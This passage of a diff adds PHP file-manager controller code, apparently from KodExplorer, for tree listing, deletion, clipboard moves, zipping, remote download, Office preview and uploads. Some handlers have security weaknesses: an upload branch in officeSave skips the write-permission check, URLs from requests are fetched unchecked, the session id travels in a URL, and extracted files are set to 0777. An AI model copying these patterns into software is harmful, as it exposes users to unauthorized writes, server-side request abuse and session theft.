$GLOBALS['path_from_auth_check'] = false; + return $fav; + } + + private function _tree_init($app){ + if ($app == 'editor' && isset($this->in['project'])) { + $list_project = $this->path(_DIR($this->in['project']),true,true); + $project = array_merge($list_project['folderlist'],$list_project['filelist']); + $tree_data = array( + array('name'=> get_path_this($this->in['project']), + 'children' =>$project, + 'menuType' => "menuTreeRoot", + 'ext' => "folder", + + 'path' => $this->in['project'], + 'type' => 'folder', + 'open' => true, + 'isParent' => count($project)>0?true:false) + ); + show_json($tree_data); + return; + } + $check_file = ($app == 'editor'?true:false); + $fav = $this->_tree_fav($app); + + $public_path = KOD_GROUP_PATH.':1/'; + if(system_member::user_auth_group(1) == false){ + $public_path = KOD_GROUP_SHARE.':1/';//不在公共组则只能读取公共组共享目录 + } + $list_public = $this->path(_DIR($public_path),$check_file,true); + $list_root = $this->path(_DIR(MYHOME),$check_file,true); + if ($check_file) {//编辑器 + $root = array_merge($list_root['folderlist'],$list_root['filelist']); + $public = array_merge($list_public['folderlist'],$list_public['filelist']); + }else{//文件管理器 + $root = $list_root['folderlist']; + $public = $list_public['folderlist']; + //$this->_self_root_load($root);//自己的根目录 含有我的共享和回收站 + } + + $root_isparent = count($root)>0?true:false; + $public_isparent = count($public)>0?true:false; + $tree_data = array( + 'fav'=>array( + 'name' => $this->L['fav'], + 'ext' => "treeFav", + 'menuType' => "menuTreeFavRoot", + 'children' => $fav, + + 'path' => KOD_USER_FAV, + 'type' => 'folder', + 'open' => true, + 'isParent' => count($fav)>0?true:false + ), + 'my_home'=>array( + 'name' => $this->L['root_path'], + 'menuType' => "menuTreeRoot", + 'ext' => "treeSelf", + 'children' => $root, + + 'path' => MYHOME, + 'type' => 'folder', + 'open' => true, + 'isParent' => $root_isparent + ), + + 'public'=>array( + 'name' => $this->L['public_path'], + 'menuType' => "menuTreeGroupRoot", + 'ext' => "groupPublic", + 'children' => $public, + + 'path' => $public_path, + 'type' => 'folder', + 'open' => true, + 'isParent' => $public_isparent + ), + 'my_group'=>array( + 'name' => $this->L['my_kod_group'],//TODO + 'menuType' => "menuTreeGroupRoot", + 'ext' => "groupSelfRoot", + 'children' => $this->_group_self(), + + 'path' => KOD_GROUP_ROOT_SELF, + 'type' => 'folder', + 'open' => true, + 'isParent' => true + ), + 'group'=>array( + 'name' => $this->L['kod_group'], + 'menuType' => "menuTreeGroupRoot", + 'ext' => "groupRoot", + 'children' => $this->_group_tree('1'), + + 'path' => KOD_GROUP_ROOT_ALL, + 'type' => 'folder', + 'open' => true, + 'isParent' => true + ), + ); + + //编辑器简化树目录 + if($app == 'editor'){ + unset($tree_data['my_group']); + unset($tree_data['group']); + unset($tree_data['public']); + //管理员,优化编辑器树目录 + if($GLOBALS['is_root']==1){ + $list_web = $this->path(_DIR(WEB_ROOT),$check_file,true); + $web = array_merge($list_web['folderlist'],$list_web['filelist']); + $tree_data['webroot'] = array( + 'name' => "webroot", + 'menuType' => "menuTreeRoot", + 'ext' => "folder", + 'children' => $web, + + 'path' => WEB_ROOT, + 'type' => 'folder', + 'open' => true, + 'isParent' => true + ); + } + } + + $result = array(); + foreach ($tree_data as $key => $value) { //为空则不展示 + if( count($value['children'])<1 && + in_array($key,array('my_group','group')) ){//'fav' + continue; + //$value['isParent'] = false; + } + $result[] = $value; + } + show_json($result); + } + + //session记录用户可以管理的组织;继承关系 + private function _group_tree($node_id){//获取组织架构的用户和子组织;为空则获取根目录 + $group_sql = system_group::load_data(); + $groups = $group_sql->get(array('parent_id',$node_id)); + $group_list = $this->_make_node_list($groups); + + //user + $user_list = array(); + if($node_id !='1'){//根组不显示用户 + $user = system_member::get_user_at_group($node_id); + foreach($user as $key => $val){ + $tree_icon = 'user'; + if ($val['user_id'] == $this->user['user_id']) { + $tree_icon = 'userSelf'; + } + $user_list[] = array( + 'name' => $val['name'], + 'menuType' => "menuTreeUser", + 'ext' => $tree_icon, + + 'path' => KOD_USER_SHARE.':'.$val['user_id'].'/', + 'type' => 'folder', + 'open' => false, + 'isParent' => false + ); + } + } + $arr = array_merge($group_list,$user_list); + return $arr; + } + //session记录用户可以管理的组织;继承关系 + private function _group_self(){//获取组织架构的用户和子组织;为空则获取根目录 + $groups = array(); + foreach ($this->user['group_info'] as $group_id=>$val){ + if($group_id=='1') continue; + $item = system_group::get_info($group_id); + if($item){ + $groups[] = $item; + } + } + return $this->_make_node_list($groups); + } + private function _make_node_list($list){ + $group_list = array(); + if(!is_array($list)){ + return $group_list; + } + foreach($list as $key => $val){ + $group_path = KOD_GROUP_PATH; + $auth = system_member::user_auth_group($val['group_id']); + if($auth==false){//是否为该组内部成员 + $group_path = KOD_GROUP_SHARE; + $tree_icon = 'groupGuest'; + }else if($auth=='read'){ + $tree_icon = 'groupSelf'; + }else{ + $tree_icon = 'groupSelfOwner'; + } + $has_children = true; + $user_list = system_member::get_user_at_group($val['group_id']); + + if(count($user_list)==0 && $val['children']==''){ + $has_children = false; + } + $group_list[] = array( + 'name' => $val['name'], + 'type' => 'folder', + 'path' => $group_path.':'.$val['group_id'].'/', + 'ext' => $tree_icon, + 'tree_icon' => $tree_icon,//request + + 'menuType' => "menuTreeGroup", + 'isParent' => $has_children + ); + } + return $group_list; + } + public function pathDelete(){ + $list = json_decode($this->in['list'],true); + $user_recycle = iconv_system(USER_RECYCLE); + if (!is_dir($user_recycle)){ + mk_dir($user_recycle); + } + + $remove_to_recycle = $this->config['user']['recycle_open']; + if(!path_writeable($user_recycle)){//回收站不可写则直接删除;挂载 + //show_json($this->L['no_permission_write'],false); + $remove_to_recycle = '0'; + } + $success=0;$error=0; + foreach ($list as $val) { + $path_this = _DIR($val['path']); + //不是自己目录的分享列表,不支持删除 + if( $GLOBALS['path_type'] == KOD_USER_SHARE && + $GLOBALS['path_id'] != $_SESSION['kod_user']['user_id'] && + substr_count(trim($val['path'],'/'),'/') <= 1){ //分享根项目 + show_json($this->L['no_permission_write'],false); + } + + // 群组文件删除,移动到个人回收站。 + // $GLOBALS['path_type'] == KOD_GROUP_SHARE || + // $GLOBALS['path_type'] == KOD_GROUP_PATH || + if( $remove_to_recycle !="1" || + $GLOBALS['path_type'] == KOD_USER_RECYCLE ){//回收站删除 or 共享删除等直接删除 + if ($val['type'] == 'folder') { + if(del_dir($path_this)) $success ++; + else $error++; + }else{ + if(del_file($path_this)) $success++; + else $error++; + } + space_size_use_reset();//使用空间重置 + + }else{ + $filename = $user_recycle.get_path_this($path_this); + $filename = get_filename_auto($filename,date('_H-i-s'),'folder_rename');//已存在则追加时间 + if (move_path($path_this,$filename,'',$this->config['user']['file_repeat'])) { + $success++; + }else{ + $error++; + } + } + } + $state = $error==0?true:false; + $info = $success.' success,'.$error.' error'; + if ($error==0) { + $info = $this->L['remove_success']; + } + show_json($info,$state); + } + + private function clearTemp(){ + $path = iconv_system(USER_TEMP); + $time = @filemtime($path); + if(time() - $time > 600){//10min without updload + del_dir($path); + mk_dir($path); + } + } + + public function pathDeleteRecycle(){ + $user_recycle = iconv_system(USER_RECYCLE); + if(!isset($this->in['list'])){ + if (!del_dir($user_recycle)) { + show_json($this->L['remove_fali'],false); + }else{ + mkdir($user_recycle); + $this->clearTemp(); + space_size_use_reset();//使用空间重置 + show_json($this->L['recycle_clear_success'],true); + } + } + $list = json_decode($this->in['list'],true); + $success = 0;$error = 0; + foreach ($list as $val) { + $path_full = _DIR($val['path']); + if ($val['type'] == 'folder') { + if(del_dir($path_full)) $success ++; + else $error++; + }else{ + if(del_file($path_full)) $success++; + else $error++; + } + } + space_size_use_reset();//使用空间重置 + if (count($list) == 1) { + if ($success) show_json($this->L['remove_success']); + else show_json($this->L['remove_fali'],false); + }else{ + $code = $error==0?true:false; + show_json($this->L['remove_success'].$success.'success,'.$error.'error',$code); + } + } + + public function pathCopy(){ + session_start();//re start + $the_list = json_decode($this->in['list'],true); + $_SESSION['path_copy']= json_encode($the_list); + $_SESSION['path_copy_type']='copy'; + show_json($this->L['copy_success'],ture,$_SESSION); + } + public function pathCute(){ + session_start();//re start + $the_list = json_decode($this->in['list'],true); + foreach ($the_list as $key => &$value) { + $value['path'] = rawurldecode($value['path']); + _DIR($value['path']); + } + $_SESSION['path_copy']= json_encode($the_list); + $_SESSION['path_copy_type']='cute'; + show_json($this->L['cute_success']); + } + public function pathCuteDrag(){ + $clipboard = json_decode($this->in['list'],true); + $path_past=$this->path; + $before_path_type = $GLOBALS['path_type']; + $before_path_id = $GLOBALS['path_id']; + + if (!path_writeable($this->path)) show_json($this->L['no_permission_write'],false); + $success=0;$error=0;$data = array(); + foreach ($clipboard as $val) { + $path_copy = _DIR($val['path']); + $filename = get_path_this($path_copy); + $auto_path = get_filename_auto($path_past.$filename,'',$this->config['user']['file_repeat']);//已存在处理 创建副本 + + //跨空间检测 + if($before_path_id != $GLOBALS['path_id']){ + space_size_use_check(); + } + if (move_path($path_copy,$auto_path,'',$this->config['user']['file_repeat'])) { + $success++; + //跨空间操作 用户——组——其他组 任意两者见处理;移动到此处;之前的空间使用量减少,目前的增加 + if($before_path_id != $GLOBALS['path_id']){ + space_size_use_change($auto_path); + space_size_use_change($auto_path,false,$before_path_type,$before_path_id); + } + $data[] = _DIR_OUT(iconv_app($auto_path)); + }else{ + $error++; + } + } + $state = $error==0?true:false; + $msg = $success.' success,'.$error.' error'; + if($error == 0){ + $msg = $this->L['success']; + } + show_json($msg,$state,$data); + } + + public function pathCopyDrag(){ + $clipboard = json_decode($this->in['list'],true); + $path_past=$this->path; + $before_path_type = $GLOBALS['path_type']; + $before_path_id = $GLOBALS['path_id']; + space_size_use_check(); + + if (!path_writeable($this->path)) show_json($this->L['no_permission_write'],false); + $success=0;$error=0;$data = array(); + foreach ($clipboard as $val) { + $path_copy = _DIR($val['path']); + $filename = get_path_this($path_copy); + $auto_path = get_filename_auto($path_past.$filename,'',$this->config['user']['file_repeat']); + + if ($this->in['filename_auto']==1 && + trim($auto_path,'/') == trim($path_copy,'/')) { + $auto_path = get_filename_auto($path_past.$filename,'','folder_rename'); + } + if(copy_dir($path_copy,$auto_path)){ + $success++; + space_size_use_change($filename);//空间使用增加 + $data[] = _DIR_OUT(iconv_app($auto_path)); + }else{ + $error++; + } + } + $state = $error==0?true:false; + $msg = $success.' success,'.$error.' error'; + if($error == 0){ + $msg = $this->L['success']; + } + show_json($msg,$state,$data); + } + + public function clipboard(){ + $clipboard = json_decode($_SESSION['path_copy'],true); + if(!$clipboard){ + $clipboard = array(); + } + show_json($clipboard,true,$_SESSION['path_copy_type']); + } + public function pathPast(){ + if (!isset($_SESSION['path_copy'])){ + show_json($this->L['clipboard_null'],false,array()); + } + + $path_past=$this->path;//之前就自动处理权限判断; + session_start();//re start + $error = ''; + $data = array(); + $clipboard = json_decode($_SESSION['path_copy'],true); + $copy_type = $_SESSION['path_copy_type']; + $before_path_type = $GLOBALS['path_type']; + $before_path_id = $GLOBALS['path_id']; + if (!path_writeable($path_past)) show_json($this->L['no_permission_write'],false,$data); + + if ($copy_type == 'copy') { + }else{ + $_SESSION['path_copy'] = json_encode(array()); + $_SESSION['path_copy_type'] = ''; + } + session_write_close(); + + $GLOBALS['path_from_auth_check'] = true;//粘贴来源检测权限;和粘贴到目标位置冲突 + $list_num = count($clipboard); + if ($list_num == 0) { + show_json($this->L['clipboard_null'],false,$data); + } + for ($i=0; $i < $list_num; $i++) { + $path_copy = _DIR($clipboard[$i]['path']); + _DIR($this->in['path']);//重置path_type等数据 + $filename = get_path_this($path_copy); + $filename_out = iconv_app($filename); + if (!file_exists($path_copy)){ + $error .= "
  • {$filename_out}".$this->L['copy_not_exists']."
  • "; + continue; + } + if ($clipboard[$i]['type'] == 'folder'){ + if ($path_copy == substr($path_past,0,strlen($path_copy))){ + $error .="{$filename_out}".$this->L['current_has_parent'].""; + continue; + } + } + $auto_path = get_filename_auto($path_past.$filename,'',$this->config['user']['file_repeat']); + $filename = get_path_this($auto_path); + if ($copy_type == 'copy') { + space_size_use_check(); + copy_dir($path_copy,$auto_path); + space_size_use_change($filename); + }else{ + if($before_path_id != $GLOBALS['path_id']){ + space_size_use_check(); + } + move_path($path_copy,$auto_path,'',$this->config['user']['file_repeat']); + //跨空间操作 用户——组——其他组 任意两者见处理;移动到此处;之前的空间使用量减少,目前的增加 + if($before_path_id != $GLOBALS['path_id']){ + space_size_use_change($filename); + space_size_use_change($filename,false,$before_path_type,$before_path_id); + } + } + $data[] = _DIR_OUT(iconv_app($auto_path)); + } + if ($copy_type == 'copy') { + $msg=$this->L['past_success'].$error; + }else{ + $msg=$this->L['cute_past_success'].$error; + } + $state = ($error ==''?true:false); + show_json($msg,$state,$data); + } + public function fileDownload(){ + file_put_out($this->path,true); + } + //文件下载后删除,用于文件夹下载 + public function fileDownloadRemove(){ + $path = rawurldecode(_DIR_CLEAR($this->in['path'])); + $path = iconv_system(USER_TEMP.$path); + space_size_use_change($path,false);//使用空间回收 + file_put_out($path,true); + del_file($path); + } + public function zipDownload(){ + $user_temp = iconv_system(USER_TEMP); + if(!file_exists($user_temp)){ + mkdir($user_temp); + }else{//清除未删除的临时文件,一天前 + $list = path_list($user_temp,true,false); + $max_time = 3600*24;//自动清空一天前的缓存 + if ($list['filelist']>=1) { + for ($i=0; $i < count($list['filelist']); $i++) { + $create_time = $list['filelist'][$i]['mtime'];//最后修改时间 + if(time() - $create_time >$max_time){ + del_file($list['filelist'][$i]['path'].$list['filelist'][$i]['name']); + } + } + } + } + $zip_file = $this->zip($user_temp); + show_json($this->L['zip_success'],true,get_path_this($zip_file)); + } + public function zip($zip_path=''){ + load_class('pclzip'); + ini_set('memory_limit', '2028M');//2G; + + $zip_list = json_decode($this->in['list'],true); + $list_num = count($zip_list); + $files = array(); + for ($i=0; $i < $list_num; $i++) { + $item = rtrim(_DIR($zip_list[$i]['path']),'/');//处理成系统 文件编码 + if(file_exists($item)){ + $files[] = $item; + } + } + if(count($files)==0){ + show_json($this->L['not_exists'],false); + } + + //指定目录 + $basic_path = $zip_path; + if ($zip_path==''){ + $basic_path =get_path_father($files[0]); + } + if (!path_writeable($basic_path)) { + show_json($this->L['no_permission_write'],false); + } + + if (count($files) == 1){ + $path_this_name=get_path_this($files[0]); + }else{ + $path_this_name=get_path_this(get_path_father($files[0])); + } + $zipname = $basic_path.$path_this_name.'.zip'; + $zipname = get_filename_auto($zipname,'',$this->config['user']['file_repeat']); + space_size_use_check(); + + + $archive = new PclZip($zipname); + foreach ($files as $key =>$val) { + $remove_path_pre = _DIR_CLEAR(get_path_father($val)); + if($key ==0){ + $v_list = $archive->create($val, + PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, + PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' + ); + continue; + } + $v_list = $archive->add($val, + PCLZIP_OPT_REMOVE_PATH,$remove_path_pre, + PCLZIP_CB_PRE_FILE_NAME,'zip_pre_name' + ); + } + space_size_use_change($zipname);//使用的空间增加 + if ($v_list == 0) { + show_json("Create error!",false); + } + $info = $this->L['zip_success'].$this->L['size'].":".size_format(filesize($zipname)); + if ($zip_path=='') { + show_json($info,true,_DIR_OUT(iconv_app($zipname)) ); + }else{ + return iconv_app($zipname); + } + } + public function unzip(){ + ini_set('memory_limit', '2028M');//2G; + $path=$this->path; + $name = get_path_this($path); + $name = substr($name,0,strrpos($name,'.')); + $ext = get_path_ext($path); + $unzip_to=get_path_father($path).$name;//解压在该文件夹内: + if(isset($this->in['to_this'])){//直接解压 + $unzip_to=get_path_father($path); + } + + //$unzip_to=get_path_father($path);//解压到当前 + if (isset($this->in['path_to'])) {//解压到指定位置 + $unzip_to = _DIR($this->in['path_to']); + } + //所在目录不可写 + if (!path_writeable(get_path_father($path))){ + show_json($this->L['no_permission_write'],false); + } + space_size_use_check(); + load_class('pclzip'); + $zip = new PclZip($path); + unzip_charset_get($zip->listContent()); + $result = $zip->extract(PCLZIP_OPT_PATH,$unzip_to, + PCLZIP_OPT_SET_CHMOD,0777, + PCLZIP_CB_PRE_FILE_NAME,'unzip_pre_name', + PCLZIP_CB_PRE_EXTRACT,"check_ext_unzip", + PCLZIP_OPT_REPLACE_NEWER);//解压到某个地方,覆盖方式 + if ($result == 0) { + show_json("Error : ".$zip->errorInfo(true),fasle); + }else{ + space_size_use_change($path);//使用的空间增加 近似使用压缩文件大小; + show_json($this->L['unzip_success']); + } + } + + public function imageRotate(){ + load_class('imageThumb'); + $cm=new imageThumb($this->path,'file'); + $result = $cm->imgRotate($this->path,intval($this->in['rotate'])); + if($result){ + show_json($this->L['success']); + }else{ + show_json($this->L['error'],false); + } + } + + //缩略图 + public function image(){ + if (filesize($this->path) <= 1024*20 || + !function_exists('imagecolorallocate') ) {//小于20k或者不支持gd库 不再生成缩略图 + file_put_out($this->path); + return; + } + if (!is_dir(DATA_THUMB)){ + mk_dir(DATA_THUMB); + } + + load_class('imageThumb'); + $image = $this->path; + $image_md5 = @md5_file($image);//文件md5 + + if (strlen($image_md5)<5) { + $image_md5 = md5($image); + } + $image_thum = DATA_THUMB.$image_md5.'.png'; + if (!file_exists($image_thum)){//如果拼装成的url不存在则没有生成过 + if (get_path_father($image)==DATA_THUMB){//当前目录则不生成缩略图 + $image_thum=$this->path; + }else { + $cm=new imageThumb($image,'file'); + $cm->prorate($image_thum,250,250);//生成等比例缩略图 + } + } + if (!file_exists($image_thum) || + filesize($image_thum)<100){//缩略图生成失败则使用原图 + $image_thum=$this->path; + } + file_put_out($image_thum); + } + + // 远程下载 + public function serverDownload() { + $uuid = 'download_'.$this->in['uuid']; + if ($this->in['type'] == 'percent') {//获取下载进度 + if (isset($_SESSION[$uuid])){ + $info = $_SESSION[$uuid]; + $result = array( + 'uuid' => $this->in['uuid'], + 'length' => (int)$info['length'], + 'name' => $info['name'], + 'size' => (int)@filesize(iconv_system($info['path'])), + 'time' => mtime() + ); + show_json($result); + }else{ + show_json('',false); + } + }else if($this->in['type'] == 'remove'){//取消下载;文件被删掉则自动停止 + del_file($_SESSION[$uuid]['path']); + unset($_SESSION[$uuid]); + show_json('',false); + } + //下载 + $save_path = _DIR($this->in['save_path']); + if (!path_writeable($save_path)){ + show_json($this->L['no_permission_write'],false); + } + $url = rawurldecode($this->in['url']); + $header = url_header($url); + if (!$header){ + show_json($this->L['download_error_exists'],false); + } + $save_path = $save_path.$header['name']; + if (!checkExt($save_path)){//不允许的扩展名 + $save_path = _DIR($this->in['save_path']).date('-h:i:s').'.txt'; + } + space_size_use_check(); + $save_path = get_filename_auto(iconv_system($save_path),'',$this->config['user']['file_repeat']); + $save_path_temp = $save_path.'.downloading'; + session_start(); + $_SESSION[$uuid] = array( + 'length'=> $header['length'], + 'path' => $save_path_temp, + 'name' => get_path_this($save_path) + ); + session_write_close(); + if (file_download_this($url,$save_path_temp,$header['length'])){ + session_start();unset($_SESSION[$uuid]);session_write_close(); + if (move_path($save_path_temp,$save_path)) {//下载完后重命名 + $name = get_path_this(iconv_app($save_path)); + space_size_use_change($save_path);//使用的空间增加 + show_json($this->L['download_success'],true,_DIR_OUT(iconv_app($save_path)) ); + }else{ + show_json($this->L['download_error_create'],false); + } + }else{ + session_start();unset($_SESSION[$uuid]);session_write_close(); + show_json($this->L['download_error_create'],false); + } + } + + //生成临时文件key + public function officeView(){ + if (!file_exists($this->path)) { + show_tips($this->L['not_exists']); + } + $file_ext = get_path_ext($this->path); + $file_url = _make_file_proxy($this->path); + + //kodoffice 预览 + if(defined("OFFICE_KOD_SERVER")){ + $file_link = APPHOST.'index.php?explorer/fileProxy&path='.$this->in['path']; + $view_type = '&appMode=edit&access_token='.session_id(); + if(OFFICE_KOD_ACTION == 'read'){//只读 + $view_type = '&appMode=view'; + $file_link = _make_file_proxy($this->path); + } + $user_info = $_SESSION['kod_user']; + $app_r = rand_string(10); + $office_url = OFFICE_KOD_SERVER.rawurlencode($file_link) + .'&lang='.LANGUAGE_TYPE.'&appType=desktop'.$view_type + .'&file_time='.@filemtime($this->path).'&user_id='.$user_info['user_id'].'&user_name='.$user_info['name'] + .'&app_id='.OFFICE_KOD_APP_ID.'&app_s='.$app_r.'&app_v='.md5($app_r.OFFICE_KOD_APP_KEY); + header("location:".$office_url); + exit; + } + + //插件支持:flash转换 or 在线编辑 + if (file_exists(PLUGIN_DIR.'officeView')) { + if(isset($_GET['is_edit']) || !isset($this->config['settings']['office_server_doc2pdf'])){ + include(PLUGIN_DIR.'officeView/index.php'); + }else{ + include(PLUGIN_DIR.'officeView/flexpapper.php'); + } + exit; + } + + //office live 浏览 + $host = $_SERVER['HTTP_HOST']; + if (strpos(OFFICE_SERVER,'view.officeapps.live.com') === -1 || + strstr($host,'10.10.') || + strstr($host,'192.168.')|| + strstr($host,'127.0.') || + !strstr($host,'.')) { + $local_tips = $this->L['unknow_file_office']; + show_tips($local_tips); + }else{ + $office_url = OFFICE_SERVER.rawurlencode($file_url); + header("location:".$office_url); + } + } + public function officeSave(){ + $save_path = _DIR($this->in['path']); + //from activex + if(isset($this->in['from_activex'])){ + if ($_FILES["file"]["error"] > 0){ + echo "Return Code: ".$_FILES["file"]["error"]; + }else{ + move_uploaded_file($_FILES["file"]["tmp_name"],$this->path); + echo 'succeed'; + } + exit; + } + + if (!path_writeable($save_path)){ + $this->json_putout(array('error'=>'no_permission_write')); + } + if (($body_stream = file_get_contents('php://input'))===FALSE){ + $this->json_putout(array('error'=>'Bad Request')); + } + $data = json_decode($body_stream,true); + if ($data === NULL){ + $this->json_putout(array('error'=>'Bad Response')); + } + $_trackerStatus = array( + 0 => 'NotFound', + 1 => 'Editing', + 2 => 'MustSave', + 3 => 'Corrupted', + 4 => 'Closed' + ); + $result = array('error'=>0,'action'=>$_trackerStatus[$data["status"]]); + switch ($_trackerStatus[$data["status"]]){ + case "MustSave": + case "Corrupted": + $result["c"] = "saved"; + $result['status'] = '0'; + if (file_download_this($data["url"],$save_path)){ + $result['status'] = 'success'; + } + break; + default:break; + } + $this->json_putout($result); + } + private function json_putout($info){ + @header( 'Content-Type: application/json; charset==utf-8'); + @header( 'X-Robots-Tag: noindex' ); + @header( 'X-Content-Type-Options: nosniff' ); + echo json_encode($info); + exit; + } + + //代理输出 + public function fileProxy(){ + $download = isset($this->in['download']); + file_put_out($this->path,$download); + } + /** + * 上传,html5拖拽 flash 多文件 + */ + public function fileUpload(){ + $save_path = _DIR($this->in['upload_to']); + if (!path_writeable($save_path)) show_json($this->in['upload_to'],false); + if ($save_path == '') show_json($this->L['upload_error_big'],false); + if (strlen($this->in['fullPath']) > 1) {//folder drag upload + $full_path = _DIR_CLEAR(rawurldecode($this->in['fullPath'])); + $full_path = get_path_father($full_path); + $full_path = iconv_system($full_path); + if (mk_dir($save_path.$full_path)) { + $save_path = $save_path.$full_path; + } + } + $repeat_action = $this->config['user']['file_repeat']; + //分片上传 + $temp_dir = iconv_system(USER_TEMP); + mk_dir($temp_dir); + if (!path_writeable($temp_dir)) show_json($this->L['no_permission_write'],false); + upload_chunk('file',$save_path,$temp_dir,$repeat_action); + } + + //分享根目录 + private function path_share(&$list){ + $arr = explode(',',$GLOBALS['path_id']); + $share_list = system_member::user_share_list($arr[0]); + $before_share_id = $GLOBALS['path_id_user_share']; + foreach ($share_list as $key => $value) { + $the_path = _DIR(KOD_USER_SHARE.':'.$arr[0].'/'.$value['name']); + $value['path'] = $value['name']; + $value['atime']='';$value['ctime']=''; + $value['mode']='';$value['is_readable'] = 1;$value['is_writable'] = 1; + $value['exists'] = intval(file_exists($the_path)); + $value['meta_info'] = 'path_self_share'; + $value['menuType'] = "menuSharePath"; + + //分享列表oexe + if(get_path_ext($value['name']) == 'oexe'){ + $json = json_decode(@file_get_contents($the_path),true); + if(is_array($json)) $value = array_merge($value,$json); + } + if ($value['type']=='folder') { + $value['ext'] = 'folder'; + $list['folderlist'][] = $value; + }else{ + $list['filelist'][] = $value; + } + } + $list['path_read_write'] = 'readable'; + $GLOBALS['path_id_user_share'] = $before_share_id; + if($arr[0] == $this->user['user_id']){//自己分享列表 + $list['share_list'] = $share_list; + } + return $list; + } + + //我的收藏根目录 + private function path_fav(&$list){ + $favData=new fileCache(USER.'data/fav.php'); + $fav_list = $favData->get(); + $GLOBALS['path_from_auth_check'] = true;//组权限发生变更。导致访问group_path 无权限退出问题 + foreach($fav_list as $key => $val){ + $the_path = _DIR($val['path']); + $has_children = path_haschildren($the_path,$check_file); + if( !isset($val['type'])){ + $val['type'] = 'folder'; + } + if( $val['type'] == 'folder' && $val['ext'] != 'treeFav'){ + $has_children = true; + } + $cell = array( + 'name' => $val['name'], + 'ext' => $val['ext'], + 'menuType' => "menuFavPath", + 'atime' => '', + 'ctime' => '', + 'mode' => '', + 'is_readable' => 1, + 'is_writeable' => 1, + 'exists' => intval(file_exists($the_path)), + 'meta_info' => 'treeFav', + + 'path' => $val['path'], + 'type' => $val['type'], + 'open' => false, + 'isParent' => false//$has_children + ); + if( strstr($val['path'],KOD_USER_SHARE)|| + strstr($val['path'],KOD_USER_FAV) || + strstr($val['path'],KOD_GROUP_ROOT_SELF) || + strstr($val['path'],KOD_GROUP_ROOT_ALL) + ){ + $cell['exists'] = 1; + } + + //分享列表oexe + if(get_path_ext($val['name']) == 'oexe'){ + $json = json_decode(@file_get_contents($the_path),true); + if(is_array($json)) $val = array_merge($val,$json); + } + if ($val['type']=='folder') { + $list['folderlist'][] = $cell; + }else{ + $list['filelist'][] = $cell; + } + } + $GLOBALS['path_from_auth_check'] = false; + $GLOBALS['path_type'] = KOD_USER_FAV; + $list['path_read_write'] = 'readable'; + return $list; + } + + //用户组列表 + private function path_group(&$list,$group_root_type){ + if($group_root_type == KOD_GROUP_ROOT_SELF){ + $data_list = $this->_group_self(); + }else{ + $data_list = $this->_group_tree('1'); + } + $GLOBALS['path_from_auth_check'] = true;//组权限发生变更。导致访问group_path 无权限退出问题 + foreach($data_list as $key => $val){ + $cell = array( + 'name' => $val['name'], + 'menuType' => "menuGroupRoot", + 'atime' => '', + 'ctime' => '', + 'mode' => '', + 'is_readable' => 1, + 'is_writeable' => 1, + 'exists' => 1, + + 'path' => $val['path'], + 'ext' => $val['ext'], + 'type' => 'folder', + 'open' => false, + 'isParent' => false//$val['isParent'] + ); + if ($val['type']=='folder') { + $list['folderlist'][] = $cell; + }else{ + $list['filelist'][] = $cell; + } + } + $GLOBALS['path_from_auth_check'] = false; + $GLOBALS['path_type'] = $group_root_type; + $list['path_read_write'] = 'readable'; + return $list; + } + + //获取文件列表&哦exe文件json解析 + private function path($dir,$list_file=true,$check_children=false){ + $ex_name = explode(',',$this->config['setting_system']['path_hidden']); + //当前目录 + $this_path = _DIR_OUT(iconv_app($dir)); + if($GLOBALS['path_type'] == KOD_USER_SHARE && strpos(trim($dir,'/'),'/')===false ) { + $this_path = $dir; + } + $list = array( + 'folderlist' => array(), + 'filelist' => array(), + 'info' => array(), + 'path_read_write' =>'not_exists', + 'this_path' => $this_path + ); + //真实目录读写权限判断 + if (!file_exists($dir)) { + $list['path_read_write'] = "not_exists"; + }else if (path_writeable($dir)) { + $list['path_read_write'] = 'writeable'; + }else if (path_writeable($dir)) { + $list['path_read_write'] = 'readable'; + }else{ + $list['path_read_write'] = 'not_readable'; + } + + //处理 + if ($dir===false){ + return $list; + }else if ($GLOBALS['path_type'] == KOD_USER_SHARE && + !strstr(trim($this->in['path'],'/'),'/')) {//分享根目录 {user_share}:1/ {user_share}:1/test/ + $list = $this->path_share($list); + }else if ($GLOBALS['path_type'] == KOD_USER_FAV) {//收藏根目录 {user_fav} + $list = $this->path_fav($list); + }else if ($GLOBALS['path_type'] == KOD_GROUP_ROOT_SELF) {//自己用户组目录;KOD_GROUP_ROOT_SELF + $list = $this->path_group($list,$GLOBALS['path_type']); + }else if ($GLOBALS['path_type'] == KOD_GROUP_ROOT_ALL) {//全部用户组目录;KOD_GROUP_ROOT_ALL + $list = $this->path_group($list,$GLOBALS['path_type']); + }else{ + $list_file = path_list($dir,$list_file,true);//$check_children + $list['folderlist'] = $list_file['folderlist']; + $list['filelist'] = $list_file['filelist']; + } + $filelist_new = array(); + $folderlist_new = array(); + foreach ($list['filelist'] as $key => $val) { + if (in_array($val['name'],$ex_name)) continue; + $val['ext'] = get_path_ext($val['name']); + if ($val['ext'] == 'oexe' && !isset($val['content'])){ + $path = iconv_system($val['path']); + $json = json_decode(@file_get_contents($path),true); + if(is_array($json)) $val = array_merge($val,$json); + } + $filelist_new[] = $val; + } + foreach ($list['folderlist'] as $key => $val) { + if (in_array($val['name'],$ex_name)) continue; + $folderlist_new[] = $val; + } + $list['filelist'] = $filelist_new; + $list['folderlist'] = $folderlist_new; + //show_json($list); + + $list = _DIR_OUT($list); + $this->_role_check_info($list); + return $list; + } + private function _role_check_info(&$list){ + if(!$GLOBALS['path_type']){ + $list['info'] = array("path_type"=>'',"role"=>'',"id"=>'','name'=>''); + return; + } + $list['info']= array( + "path_type" => $GLOBALS['path_type'], + "role" => $GLOBALS['is_root']?'owner':'guest', + "id" => $GLOBALS['path_id'], + 'name' => '', + ); + + if ($GLOBALS['path_type'] == KOD_USER_SHARE) { + $GLOBALS['path_id'] = explode(':',$GLOBALS['path_id']); + $GLOBALS['path_id'] = $GLOBALS['path_id'][0];//id 为前面 + $list['info']['id'] = $GLOBALS['path_id']; + $user = system_member::get_info($GLOBALS['path_id']); + $list['info']['name'] = $user['name']; + if($GLOBALS['is_root']){ + $list['info']['admin_real_path'] = USER_PATH.$user['path'].'/home/'; + } + } + //自己管理的目录 + if ($GLOBALS['path_type']==KOD_GROUP_PATH || + $GLOBALS['path_type']==KOD_GROUP_SHARE) { + $group = system_group::get_info($GLOBALS['path_id']); + $list['info']['name'] = $group['name']; + $auth = system_member::user_auth_group($GLOBALS['path_id']); + if ($auth=='write' || $GLOBALS['is_root']) { + $list['info']['role'] = 'owner'; 